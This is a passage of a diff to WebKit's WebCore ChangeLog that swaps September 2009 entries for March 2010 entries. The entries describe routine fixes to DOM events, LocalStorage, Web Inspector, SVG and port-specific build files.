+2010-03-04  Antoine Quint  <ml@graougraou.com>
 
-        Fix bogus build fix I did last night.
+        Reviewed by Darin Adler.
 
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::V8Custom::WindowSetTimeoutImpl):
+        DOM insertion mutation events should dispatch after a node is attached to the render tree
+        https://bugs.webkit.org/show_bug.cgi?id=35590
 
-2009-09-22  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+        Test: fast/events/domnodeinsertedintodocument-dispatched-post-rendering.html
 
-        Reviewed by Simon Hausmann.
+        Split off the internal-to-WebCore node insertion notification code from the DOM mutation
+        event dispatching, originally in dispatchChildInsertionEvents(), to a new static function
+        called notifyChildInserted(). This allows us to dispatch the mutation events at a later
+        time upon insertion of a child into to the tree, specifically _after_ attachment to the render
+        tree.
 
-        NPAPI/Mac: Don't paint plugins if we don't have a CGContextRef
+        * dom/ContainerNode.cpp:
+        (WebCore::ContainerNode::insertBefore):
+        (WebCore::ContainerNode::replaceChild):
+        (WebCore::ContainerNode::appendChild):
+        (WebCore::notifyChildInserted):
+        (WebCore::dispatchChildInsertionEvents):
 
-        * plugins/mac/PluginViewMac.cpp:
+2010-03-04  Fridrich Strba  <fridrich.strba@bluewin.ch>
 
-2009-09-22  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+        Reviewed by Holger Freyther.
 
-        Reivewed by Simon Hausmann.
+        Make paths relocatable on runtime on Windows
+        https://bugs.webkit.org/show_bug.cgi?id=32711
 
-        Fix the Qt/Mac build after r48604 (Implement new QWebPageClient class)
+        * platform/graphics/gtk/ImageGtk.cpp:
+        (get_webkit_datadir):
+        (WebCore::Image::loadPlatformResource):
 
-        There's no QWidget::x11Info() on Mac, and setPlatformPluginWidget()
-        takes a QWidget*, not a QWebPageClient*
+2010-03-04  Pavel Feldman  <pfeldman@chromium.org>
 
-        * plugins/mac/PluginViewMac.cpp:
-        (WebCore::PluginView::platformStart):
+        Reviewed by Timothy Hatcher.
 
-2009-09-21  Adam Barth  <abarth@webkit.org>
+        Web Inspector: Popup for Timeline panel will work in a tooltip mode
+
+        https://bugs.webkit.org/show_bug.cgi?id=35680
+
+        * inspector/front-end/Popover.js:
+        (WebInspector.Popover):
+        (WebInspector.Popover.prototype.show):
+        (WebInspector.Popover.prototype.hide):
+        (WebInspector.Popover.prototype._positionElement):
+        (WebInspector.PopoverHelper):
+        (WebInspector.PopoverHelper.prototype._mouseDown):
+        (WebInspector.PopoverHelper.prototype._mouseMove.doHide):
+        (WebInspector.PopoverHelper.prototype._mouseMove):
+        (WebInspector.PopoverHelper.prototype._resetHoverTimer):
+        (WebInspector.PopoverHelper.prototype.hidePopup):
+        (WebInspector.PopoverHelper.prototype._mouseHover):
+        (WebInspector.PopoverHelper.prototype._killHidePopupTimer):
+        * inspector/front-end/TimelineOverviewPane.js:
+        (WebInspector.TimelineOverviewPane.prototype.reset):
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel):
+        (WebInspector.TimelinePanel.prototype.get _recordStyles):
+        (WebInspector.TimelinePanel.prototype._innerAddRecordToTimeline):
+        (WebInspector.TimelinePanel.prototype._scheduleRefresh):
+        (WebInspector.TimelinePanel.prototype._refreshRecords):
+        (WebInspector.TimelinePanel.prototype._adjustScrollPosition):
+        (WebInspector.TimelinePanel.prototype._getPopoverAnchor):
+        (WebInspector.TimelinePanel.prototype._showPopover):
+        (WebInspector.TimelinePanel.prototype._closeRecordDetails):
+        (WebInspector.TimelineRecordListRow):
+        (WebInspector.TimelineRecordListRow.prototype.update):
+        (WebInspector.TimelineRecordGraphRow):
+        (WebInspector.TimelineRecordGraphRow.prototype._onClick):
+        (WebInspector.TimelinePanel.FormattedRecord):
+        (WebInspector.TimelinePanel.FormattedRecord.prototype._createCell):
+        (WebInspector.TimelinePanel.FormattedRecord.prototype._createRow):
+        (WebInspector.TimelinePanel.FormattedRecord.prototype._createLinkRow):
+        (WebInspector.TimelinePanel.FormattedRecord.prototype._generatePopupContent):
+        (WebInspector.TimelinePanel.FormattedRecord.prototype._getRecordDetails):
+        * inspector/front-end/inspector.css:
 
-        Attempted fix for the V8 build.
+2010-03-04  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
 
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::V8Custom::WindowSetTimeoutImpl):
+        Unreviewed build fix.
 
-2009-09-21  Adam Barth  <abarth@webkit.org>
+        Build fix after r55464.
 
-        Reviewed by Sam Weinig.
+        No new tests, no new functionality.
 
-        Don't re-enter JavaScript after performing access checks
-        https://bugs.webkit.org/show_bug.cgi?id=29531
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::populateScriptObjects):
 
-        Moved the access check slightly later in this functions to avoid
-        re-entering the JavaScript interpreter (typically via toString)
-        after performing the access check.
+2010-03-04  Leandro Pereira  <leandro@profusion.mobi>
 
-        I can't really think of a meaningful test for this change.  It's more
-        security hygiene.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::setLocation):
-        (WebCore::JSDOMWindow::open):
-        (WebCore::JSDOMWindow::showModalDialog):
-        * bindings/js/JSLocationCustom.cpp:
-        (WebCore::JSLocation::setHref):
-        (WebCore::JSLocation::replace):
-        (WebCore::JSLocation::assign):
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::V8Custom::WindowSetTimeoutImpl):
-        (WebCore::if):
-        (CALLBACK_FUNC_DECL):
-        (V8Custom::WindowSetLocation):
-        (V8Custom::ClearTimeoutImpl):
-        * bindings/v8/custom/V8LocationCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
+        Add EFL port files to platform/graphics/efl.
+        http://webkit.org/b/35539
 
-2009-09-21  Dumitru Daniliuc  <dumi@chromium.org>
+        * platform/graphics/efl/FloatRectEfl.cpp: Added.
+        * platform/graphics/efl/FontEfl.cpp: Added.
+        * platform/graphics/efl/IconEfl.cpp: Added.
+        * platform/graphics/efl/ImageEfl.cpp: Added.
+        * platform/graphics/efl/IntPointEfl.cpp: Added.
+        * platform/graphics/efl/IntRectEfl.cpp: Added.
 
-        Reviewed by Eric Seidel.
+2010-03-04  Leandro Pereira  <leandro@profusion.mobi>
 
-        Make all write transaction start with a BEGIN IMMEDIATE command
-        instead of BEGIN.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        We cannot test this change in a layout test, because in order to
-        test it we need to spawn two database threads and execute
-        transaction steps on these two threads in a very specific order,
-        which seems impossible to do when they share the same main thread
-        (as they would in a layout test). The SQLite docs and the case
-        described in the bug though should be enough proof that we do have
-        a problem here and that this patch will fix it.
+        Add EFL port files to platform/text/efl.
+        http://webkit.org/b/35740
 
-        Relevant SQLite documentation:
-        http://www.sqlite.org/lang_transaction.html
-        http://www.sqlite.org/lockingv3.html#locking
+        * platform/text/efl/TextBreakIteratorInternalICUEfl.cpp: Added.
 
-        https://bugs.webkit.org/show_bug.cgi?id=29218
+2010-03-04  Fridrich Strba  <fridrich.strba@bluewin.ch>
 
-        * platform/sql/SQLiteTransaction.cpp:
-        (WebCore::SQLiteTransaction::SQLiteTransaction): Added a readOnly
-        parameter.
-        (WebCore::SQLiteTransaction::begin): Changed to BEGIN IMMEDIATE
-        for write transactions.
-        * platform/sql/SQLiteTransaction.h:
-        * storage/SQLTransaction.cpp:
-        (WebCore::SQLTransaction::openTransactionAndPreflight): Passing
-        the read-only flag to the SQLiteTransaction instance.
+        Reviewed by Holger Freyther.
 
-2009-09-21  Brady Eidson  <beidson@apple.com>
+        https://bugs.webkit.org/show_bug.cgi?id=35726
+        Remove orphaned #ifdef WTF_USE_GLIB_ICU_UNICODE_HYBRID
 
-        Rubberstamped by Mark Rowe.
+        Removing orphaned #if USE.
 
-        * DerivedSources.make: Fix the Xcode build on SnowLeopard.
+        * platform/ThreadGlobalData.h:
 
-2009-09-15  John Abd-El-Malek  <jam@chromium.org>
+2010-03-03  Jeremy Orlow  <jorlow@chromium.org>
 
         Reviewed by Darin Fisher.
 
-        Prevent sleeps in unload handlers.
-        https://bugs.webkit.org/show_bug.cgi?id=29193
+        Throttle sync requests sent to the LocalStorage background thread
+        https://bugs.webkit.org/show_bug.cgi?id=34943
 
-        Test: fast/dom/Window/slow_unload_handler.html
+        Currently, once a second LocalStorage takes all keys/values which have
+        been changed and sends them to a background thread to sync.  The problem
+        is that this background thread can get overwhelmed and stop being
+        responsive.  This means that if any other page tries to start using
+        LocalStorage (and thus initiates the initial import) that'll block on
+        all the previous syncs completing.
 
-        * WebCore.gypi:
-        * bindings/v8/DateExtension.cpp: Added.
-        (WebCore::DateExtension::DateExtension):
-        (WebCore::DateExtension::get):
-        (WebCore::DateExtension::setAllowSleep):
-        (WebCore::DateExtension::GetNativeFunction):
-        (WebCore::DateExtension::weakCallback):
-        (WebCore::DateExtension::GiveEnableSleepDetectionFunction):
-        (WebCore::DateExtension::OnSleepDetected):
-        * bindings/v8/DateExtension.h: Added.
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::invokeEventHandler):
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::createNewContext):
-        (WebCore::V8Proxy::registerExtensionWithV8):
-        (WebCore::V8Proxy::registeredExtensionWithV8):
-        * bindings/v8/V8Proxy.h:
-
-2009-09-21  Jian Li  <jianli@chromium.org>
+        To mitigate this, I'm adding code so that we never schedule another
+        sync task when another is still running.  In order to keep the sync
+        tasks from growing exponentially when they do take longer than the
+        storage sync interval, I've also added a basic rate limiter.  No effort
+        is made to ensure fairness/ordering of what gets synced nor is there
+        any way for this rate to be changed because most normal uses of
+        LocalStorage really shouldn't be hitting these types of limits anyway.
 
-        Reviewed by David Levin.
-
-        [V8] Run-time exception in onmessage handler is not forwarded to the
-        worker object.
-        https://bugs.webkit.org/show_bug.cgi?id=28980
-
-        The previous fix was partially reverted due to a reliability build break
-        in chromium. The break happens when an exception is thrown without
-        setting a message. We need to check for this scenario and handle it.
+        The only behavioral change that's observible in JavaScript is time based
+        and thus it's not practical to make new tests that aren't racy.  The
+        existing layout tests cover LocalStorage pretty well, though.
 
-        Tested by worker-close.html.
-
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::invokeEventHandler):
-        * bindings/v8/V8Utilities.cpp:
-        (WebCore::reportException):
-
-2009-09-21  Greg Bolsinga  <bolsinga@apple.com>
-
-        Reviewed by Simon Fraser & Sam Weinig.
-
-        Add ENABLE(ORIENTATION_EVENTS)
-        https://bugs.webkit.org/show_bug.cgi?id=29508
-        
-        See documentation here:
-        http://developer.apple.com/safari/library/documentation/AppleApplications/Reference/SafariWebContent/HandlingEvents/HandlingEvents.html#//apple_ref/doc/uid/TP40006511-SW16
-
-        * DerivedSources.make: Use new WebCore.OrientationEvents.exp file if ENABLE_ORIENTATION_EVENTS.
-        Add ENABLE_ORIENTATION_EVENTS to the new ADDITIONAL_IDL_DEFINES variable that is passed to the IDL
-        code generator. This is because ENABLE_ORIENTATION_EVENTS is not in FEATURE_DEFINES.
-        * WebCore.OrientationEvents.exp: Added.
-        * WebCore.xcodeproj/project.pbxproj: Add WebCore.OrientationEvents.exp.
-        * dom/EventNames.h: Add onorientationchange.
-        * html/HTMLAttributeNames.in: Ditto.
-        * html/HTMLBodyElement.cpp: Handle onorientationchange properly.
-        (WebCore::HTMLBodyElement::parseMappedAttribute):
-        (WebCore::HTMLBodyElement::onorientationchange):
-        (WebCore::HTMLBodyElement::setOnorientationchange):
-        * html/HTMLBodyElement.h: Ditto.
-        * html/HTMLBodyElement.idl: Ditto.
-        * html/HTMLFrameSetElement.cpp: Ditto.
-        (WebCore::HTMLFrameSetElement::parseMappedAttribute):
-        (WebCore::HTMLFrameSetElement::onorientationchange):
-        (WebCore::HTMLFrameSetElement::setOnorientationchange):
-        * html/HTMLFrameSetElement.h: Ditto.
-        * html/HTMLFrameSetElement.idl: Ditto.
-        * page/DOMWindow.cpp: Ditto.
-        (WebCore::DOMWindow::orientation): Calls up the to the Frame for the orientation value.
-        (WebCore::DOMWindow::onorientationchange):
-        (WebCore::DOMWindow::setOnorientationchange):
-        * page/DOMWindow.h: Handle onorientationchange properly.
-        * page/DOMWindow.idl: Ditto.
-        * page/Frame.cpp: Ditto.
-        (WebCore::Frame::Frame):
-        (WebCore::Frame::sendOrientationChangeEvent):
-        * page/Frame.h: Ditto.
-        (WebCore::Frame::orientation):
-
-2009-09-18  Anders Carlsson  <andersca@apple.com>
-
-        Try fixing the build again.
-        
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::PopupMenu::wndProc):
+        * storage/StorageAreaSync.cpp:
+        (WebCore::StorageAreaSync::StorageAreaSync):
+        (WebCore::StorageAreaSync::scheduleFinalSync):
+        (WebCore::StorageAreaSync::syncTimerFired):
+        (WebCore::StorageAreaSync::performSync):
+        * storage/StorageAreaSync.h:
 
-2009-09-21  Pavel Feldman  <pfeldman@chromium.org>
+2010-03-04  Andrey Kosyakov  <caseq@chromium.org>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Pavel Feldman.
 
-        Web Inspector: completions are always evaluated against
-        window (discarding call frames).
+        Added support for worker instrumentation in inspector
+        (display list of active workers, allow debugging of workers
+        by injecting fake JS implementation)
 
-        https://bugs.webkit.org/show_bug.cgi?id=29616
+        https://bugs.webkit.org/show_bug.cgi?id=35568
 
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype.completions):
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.getCompletions):
+        * English.lproj/localizedStrings.js:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * bindings/js/JSInjectedScriptHostCustom.cpp:
+        (WebCore::InjectedScriptHost::createInjectedScript):
+        (WebCore::InjectedScriptHost::injectedScriptFor):
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        (WebCore::InjectedScriptHost::createInjectedScript):
+        (WebCore::InjectedScriptHost::injectedScriptFor):
+        * dom/Document.cpp:
+        (WebCore::Document::inspectorController):
+        * dom/Document.h:
+        * dom/ScriptExecutionContext.h:
+        (WebCore::ScriptExecutionContext::inspectorController):
+        * inspector/InjectedScriptHost.cpp:
+        (WebCore::InjectedScriptHost::InjectedScriptHost):
+        (WebCore::InjectedScriptHost::injectScript):
+        (WebCore::InjectedScriptHost::nextWorkerId):
+        (WebCore::InjectedScriptHost::didCreateWorker):
+        (WebCore::InjectedScriptHost::willDestroyWorker):
+        * inspector/InjectedScriptHost.h:
+        * inspector/InjectedScriptHost.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::populateScriptObjects):
+        (WebCore::InspectorController::resetScriptObjects):
+        (WebCore::InspectorController::didCommitLoad):
+        (WebCore::InspectorController::didCreateWorker):
+        (WebCore::InspectorController::willDestroyWorker):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::didCreateWorker):
+        (WebCore::InspectorFrontend::willDestroyWorker):
+        * inspector/InspectorFrontend.h:
+        * inspector/InspectorWorkerResource.h: Added.
+        (WebCore::InspectorWorkerResource::create):
+        (WebCore::InspectorWorkerResource::id):
+        (WebCore::InspectorWorkerResource::url):
+        (WebCore::InspectorWorkerResource::isSharedWorker):
+        (WebCore::InspectorWorkerResource::InspectorWorkerResource):
+        * inspector/front-end/Checkbox.js: Added.
+        (WebInspector.Checkbox.callbackWrapper):
+        (WebInspector.Checkbox):
+        (WebInspector.Checkbox.prototype.checked):
+        * inspector/front-end/InjectedFakeWorker.js:
+        (InjectedFakeWorker.FakeWorker):
+        (InjectedFakeWorker.FakeWorker.prototype.terminate):
+        (InjectedFakeWorker.FakeWorker.prototype._handleException):
+        (InjectedFakeWorker.FakeWorker.prototype._importScripts):
+        (InjectedFakeWorker.FakeWorker.prototype._loadScript):
+        (InjectedFakeWorker.FakeWorker.prototype._expandURLAndCheckOrigin):
         * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel.prototype.selectedCallFrameId):
-
-2009-09-21  Brent Fulgham  <bfulgham@webkit.org>
-
-        Unreviewed build fix for Windows (Cairo) target.
-
-        Add stubs for SocketStream classes added in @r47788, which
-        broke the WinCairo build.
-
-        No new tests. (Build failure).
-
-        * WebCore.vcproj/WebCore.vcproj:  Add references to new files
-          to Cairo build, exclude from standard Apple build.
-        * platform/network/curl/SocketStreamError.h: Added.
-        * platform/network/curl/SocketStreamHandle.h: Added.
-        * platform/network/curl/SocketStreamHandleCurl.cpp: Added.
-
-2009-09-21  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Expose InspectorResource fields.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29537
-
-        * inspector/InspectorResource.cpp:
-        (WebCore::InspectorResource::sourceString):
-        (WebCore::InspectorResource::resourceData):
-        * inspector/InspectorResource.h:
-        (WebCore::InspectorResource::requestHeaderFields):
-        (WebCore::InspectorResource::responseHeaderFields):
-        (WebCore::InspectorResource::responseStatusCode):
-        (WebCore::InspectorResource::requestMethod):
-        (WebCore::InspectorResource::requestFormData):
-
-2009-09-21  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: JS error drilling down childless node.
-        No need to dispatch double click twice - it is already handled
-        in TreeElement.treeElementDoubleClicked.
-
-        https://bugs.webkit.org/show_bug.cgi?id=22144
-
-        * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeOutline):
+        (WebInspector.ScriptsPanel):
+        (WebInspector.ScriptsPanel.prototype.debuggerWasEnabled):
+        (WebInspector.ScriptsPanel.prototype.debuggerWasDisabled):
+        (WebInspector.ScriptsPanel.prototype.reset):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/WorkersSidebarPane.js: Added.
+        (WebInspector.WorkersSidebarPane):
+        (WebInspector.WorkersSidebarPane.prototype.addWorker):
+        (WebInspector.WorkersSidebarPane.prototype.removeWorker):
+        (WebInspector.WorkersSidebarPane.prototype.setInstrumentation):
+        (WebInspector.WorkersSidebarPane.prototype.reset):
+        (WebInspector.WorkersSidebarPane.prototype._onTriggerInstrument):
+        (WebInspector.Worker):
+        (WebInspector.didCreateWorker):
+        (WebInspector.willDestroyWorker):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+        * workers/AbstractWorker.cpp:
+        (WebCore::AbstractWorker::AbstractWorker):
+        (WebCore::AbstractWorker::~AbstractWorker):
+        (WebCore::AbstractWorker::onDestroyWorker):
+        (WebCore::AbstractWorker::contextDestroyed):
+        * workers/AbstractWorker.h:
+        (WebCore::AbstractWorker::id):
+        * workers/SharedWorker.cpp:
+        (WebCore::SharedWorker::SharedWorker):
+        * workers/Worker.cpp:
+        (WebCore::Worker::Worker):
 
-2009-09-21  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+2010-03-04  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
 
-        Reviewed by Simon Hausmann.
+        Reviewed by Tor Arne Vestbø.
 
-        Implement new QWebPageClient class and let our classes
-        QWebViewPrivate and QWebGraphicsItemPrivate inherit from it.
+        [Qt] Make the OUTPUT_DIR variable in qmake projects independent of build-webkit's logic.
 
-        For Qt, platformPageClient() will now return a class derived from
-        the QWebPageClient, so the patch adapts our Qt hooks to go though
-        this class and not depend on the QWebView.
+        This also allows shadow builds relying only on qmake to work properly.
 
         * WebCore.pro:
-        * platform/Widget.h:
-        * platform/qt/PlatformScreenQt.cpp:
-        (WebCore::screenDepth):
-        (WebCore::screenDepthPerComponent):
-        (WebCore::screenIsMonochrome):
-        (WebCore::screenRect):
-        (WebCore::screenAvailableRect):
-        * platform/qt/PopupMenuQt.cpp:
-        (WebCore::PopupMenu::show):
-        * platform/qt/QWebPageClient.h: Added.
-        * platform/qt/WidgetQt.cpp:
-        (WebCore::Widget::setCursor):
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::handleKeyboardEvent):
-        (WebCore::PluginView::getValue):
-        (WebCore::PluginView::platformStart):
-
-2009-09-21  Pavel Feldman  <pfeldman@chromium.org>
 
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Evaluating on call frame always returns "undefined".
-
-        https://bugs.webkit.org/show_bug.cgi?id=29613
-
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.evaluate):
-        (InjectedScript._evaluateAndWrap):
-        (InjectedScript._evaluateOn):
-        (InjectedScript.evaluateInCallFrame):
-
-2009-09-21  Pavel Feldman  <pfeldman@chromium.org>
+2010-03-02  Holger Hans Peter Freyther  <zecke@selfish.org>
 
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Exception formatting is broken in console.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29608
-
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleCommandResult):
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.evaluate):
-        (InjectedScript.createProxyObject):
-
-2009-09-21  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
+        Reviewed by Simon Hausmann.
 
-        Web Inspector: Console object formatting is broken.
+        [Qt] Avoid calling QFont::detach too often from FontQt
+        https://bugs.webkit.org/show_bug.cgi?id=35569
 
-        https://bugs.webkit.org/show_bug.cgi?id=29607
+        The letter- and wordspacing is inside the WebCore::Font class,
+        our QFont is located in the WebCore::FontPlatformData. Everytime
+        we need to use a QFont inside WebCore::Font we are calling the
+        font method which gets the QFont from the WebCore::FontPlatformData
+        and is applying the letter- and wordspacing. Internally this
+        will attempt to detach the QFont...
 
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleMessage.prototype._format):
-        * inspector/front-end/ObjectProxy.js:
-        (WebInspector.ObjectProxy.wrapPrimitiveValue):
+        Avoid calling setLetterSpacing and setWordSpacing on QFont if
+        the WebCore::Font has the default applied.
 
-2009-09-21  Pavel Feldman  <pfeldman@chromium.org>
+        * platform/graphics/qt/FontQt.cpp:
+        (WebCore::Font::font):
 
-        Reviewed by Timothy Hatcher.
+2010-03-04  Alexander Pavlov  <apavlov@chromium.org>
 
-        Web Inspector: Crash When Logging an Element Before Opening Inspector
+        Reviewed by Pavel Feldman.
 
-        https://bugs.webkit.org/show_bug.cgi?id=29514
+        Web Inspector: Nothing happens on navigation to resource via a link if resource tracking is disabled
+        https://bugs.webkit.org/show_bug.cgi?id=35574
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::populateScriptObjects):
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.canShowSourceLine):
+        (WebInspector.ResourcesPanel.prototype._toggleResourceTracking):
+        * inspector/front-end/inspector.js:
+        (WebInspector.documentMouseOver):
+        (WebInspector.documentMouseOut):
+        (WebInspector.hideBadLinkPopupIfNecessary):
+        (WebInspector.documentClick.followLink):
+        (WebInspector.documentClick):
+        (WebInspector.showBadLinkPopup.popupOverOut):
+        (WebInspector.showBadLinkPopup):
+        (WebInspector.addMainEventListeners):
 
-2009-09-21  Simon Fraser  <simon.fraser@apple.com>
+2010-03-04  Vangelis Kokkevis  <vangelis@chromium.org>
 
-        Reviewed by Dan Bernstein.
+        Reviewed by Oliver Hunt.
 
-        Incorrect clipping with accelerated compositing content, and position:fixed
-        https://bugs.webkit.org/show_bug.cgi?id=29347
+        getUniformLocation() now returns null if uniform requested 
+        is not found.
+        https://bugs.webkit.org/show_bug.cgi?id=34669
         
-        Fix the compositing clipping logic to behave correctly when position:fixed
-        elements clip, by using the new backgroundClipRect() method to determine
-        when we need to clip, and to compute the clipping layer position.
+        Test:LayoutTests/fast/canvas/webgl/uniform-location.html
+        (added missing test)
 
-        Test: compositing/overflow/fixed-position-ancestor-clip.html
-
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry):
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::clippedByAncestor):
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLRenderingContext::getUniformLocation):
 
-2009-09-21  Nate Chapin  <japhet@chromium.org>
+2010-03-04  John Abd-El-Malek  <jam@chromium.org>
 
         Reviewed by Adam Barth.
 
-        Add back in a special case for window.top in the V8 bindings.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29605
-
-        Fixes LayoutTests/fast/dom/Window/window-property-shadowing.html in the Chromium port.
-
-        * bindings/scripts/CodeGeneratorV8.pm: Ensure window.top is not marked as read only, as this breaks the shadowing disabling.
-
-2009-09-21  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Brady Eidson.
-
-        HTMLMediaElement: media file should not reload when page comes out of page cache
-        https://bugs.webkit.org/show_bug.cgi?id=29604
-
-        Test: media/restore-from-page-cache.html
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::userCancelledLoad): Do nothing unless the element
-        is still loading. Only fire an 'emptied' event if the readyState is HAVE_NOTHING,
-        otherwise set the network state to NETWORK_IDLE.
-
-2009-09-21  Sam Weinig  <sam@webkit.org>
+        Fix incorrect setup of DateExtension.
+        https://bugs.webkit.org/show_bug.cgi?id=35710
 
-        Reviewed by Geoffrey "Sean/Shawn/Shaun" Garen.
-
-        Clarify two FIXMEs.
-
-        * bindings/js/JSHTMLCollectionCustom.cpp:
-        (WebCore::getNamedItems):
-        * bindings/js/JSHTMLFormElementCustom.cpp:
-        (WebCore::JSHTMLFormElement::nameGetter):
-
-2009-09-21  Darin Fisher  <darin@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Drop down selects fail to close when a value is selected
-        https://bugs.webkit.org/show_bug.cgi?id=29582
+        * bindings/v8/DateExtension.cpp:
+        (WebCore::DateExtension::setAllowSleep):
 
-        Implement PopupListBox::hidePopup, which was previously
-        declared but unimplemented.  Removes the declaration of
-        showPopup since that method is not implemented.
+2010-03-04  Oliver Hunt  <oliver@apple.com>
 
-        PopupListBox::hidePopup takes care of hiding the popup,
-        by invoking hidePopup on its parent PopupContainer, and
-        then informs the PopupMenuClient that popupDidHide.
-        This mimics the old behavior prior to r48370.
+        Reviewed by Maciej Stachowiak.
 
-        * platform/chromium/PopupMenuChromium.cpp:
-        (WebCore::PopupListBox::handleKeyEvent):
-        (WebCore::PopupListBox::abandon):
-        (WebCore::PopupListBox::acceptIndex):
-        (WebCore::PopupListBox::hidePopup):
+        https://bugs.webkit.org/show_bug.cgi?id=35603
+        SVG incorrectly allows nested <use> elements in a <use> shadow tree
 
-2009-09-21  Csaba Osztrogonac  <oszi@inf.u-szeged.hu>
+        Simplify the handling of invalid or missing use-targets by cloning them
+        to empty <g> elements rather than just allowing the <use> element to
+        be copied into the shadow tree, as this violates a number of assumptions
+        in the shadow tree handling code.
 
-        Rubber-stamped by Simon Hausmann.
+        Tests: svg/custom/use-nested-disallowed-target.svg
+               svg/custom/use-nested-missing-target-added.svg
+               svg/custom/use-nested-missing-target-removed.svg
+               svg/custom/use-nested-missing-target.svg
+               svg/custom/use-nested-notarget.svg
 
-        [Qt] Windows build fix.
-        https://bugs.webkit.org/show_bug.cgi?id=29535
+        * svg/SVGUseElement.cpp:
+        (WebCore::SVGUseElement::buildPendingResource):
+        (WebCore::SVGUseElement::buildShadowAndInstanceTree):
+        (WebCore::SVGUseElement::expandUseElementsInShadowTree):
 
-        * platform/network/qt/DnsPrefetchHelper.cpp: Missing #include "config.h"  added.
+2010-03-04  Leandro Pereira  <leandro@profusion.mobi>
 
-2009-09-21  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+        Reviewed by Gustavo Noronha Silva.
 
-        Unreviewed make dist build fix. Missing files.
+        Move Cairo-related font code from platform/graphics/gtk to
+        platform/graphics/cairo, so other ports may use them.
+        http://webkit.org/b/35539
 
         * GNUmakefile.am:
+        * platform/graphics/cairo/FontCacheCairo.cpp: Copied from WebCore/platform/graphics/gtk/FontCacheGtk.cpp.
+        * platform/graphics/cairo/FontCustomPlatformData.cpp: Copied from WebCore/platform/graphics/gtk/FontCustomPlatformData.cpp.
+        * platform/graphics/cairo/FontCustomPlatformData.h: Copied from WebCore/platform/graphics/gtk/FontCustomPlatformData.h.
+        * platform/graphics/cairo/FontPlatformData.h: Copied from WebCore/platform/graphics/gtk/FontPlatformData.h.
+        * platform/graphics/cairo/FontPlatformDataCairo.cpp: Copied from WebCore/platform/graphics/gtk/FontPlatformDataGtk.cpp.
+        * platform/graphics/cairo/GlyphPageTreeNodeCairo.cpp: Copied from WebCore/platform/graphics/gtk/GlyphPageTreeNodeGtk.cpp.
+        * platform/graphics/cairo/SimpleFontDataCairo.cpp: Copied from WebCore/platform/graphics/gtk/SimpleFontDataGtk.cpp.
+        * platform/graphics/gtk/FontCacheGtk.cpp: Removed.
+        * platform/graphics/gtk/FontCustomPlatformData.cpp: Removed.
+        * platform/graphics/gtk/FontCustomPlatformData.h: Removed.
+        * platform/graphics/gtk/FontPlatformData.h: Removed.
+        * platform/graphics/gtk/FontPlatformDataGtk.cpp: Removed.
+        * platform/graphics/gtk/GlyphPageTreeNodeGtk.cpp: Removed.
+        * platform/graphics/gtk/SimpleFontDataGtk.cpp: Removed.
+
+2010-03-04  Evan Stade  <estade@chromium.org>
 
-2009-09-20  Adam Barth  <abarth@webkit.org>
+        Reviewed by David Levin.
 
-        Reviewed by Maciej Stachowiak.
+        https://bugs.webkit.org/show_bug.cgi?id=35261
+        [skia] crash when attempting to render certain SVGs
 
-        Crash when clicking link in unload handler
-        https://bugs.webkit.org/show_bug.cgi?id=29525
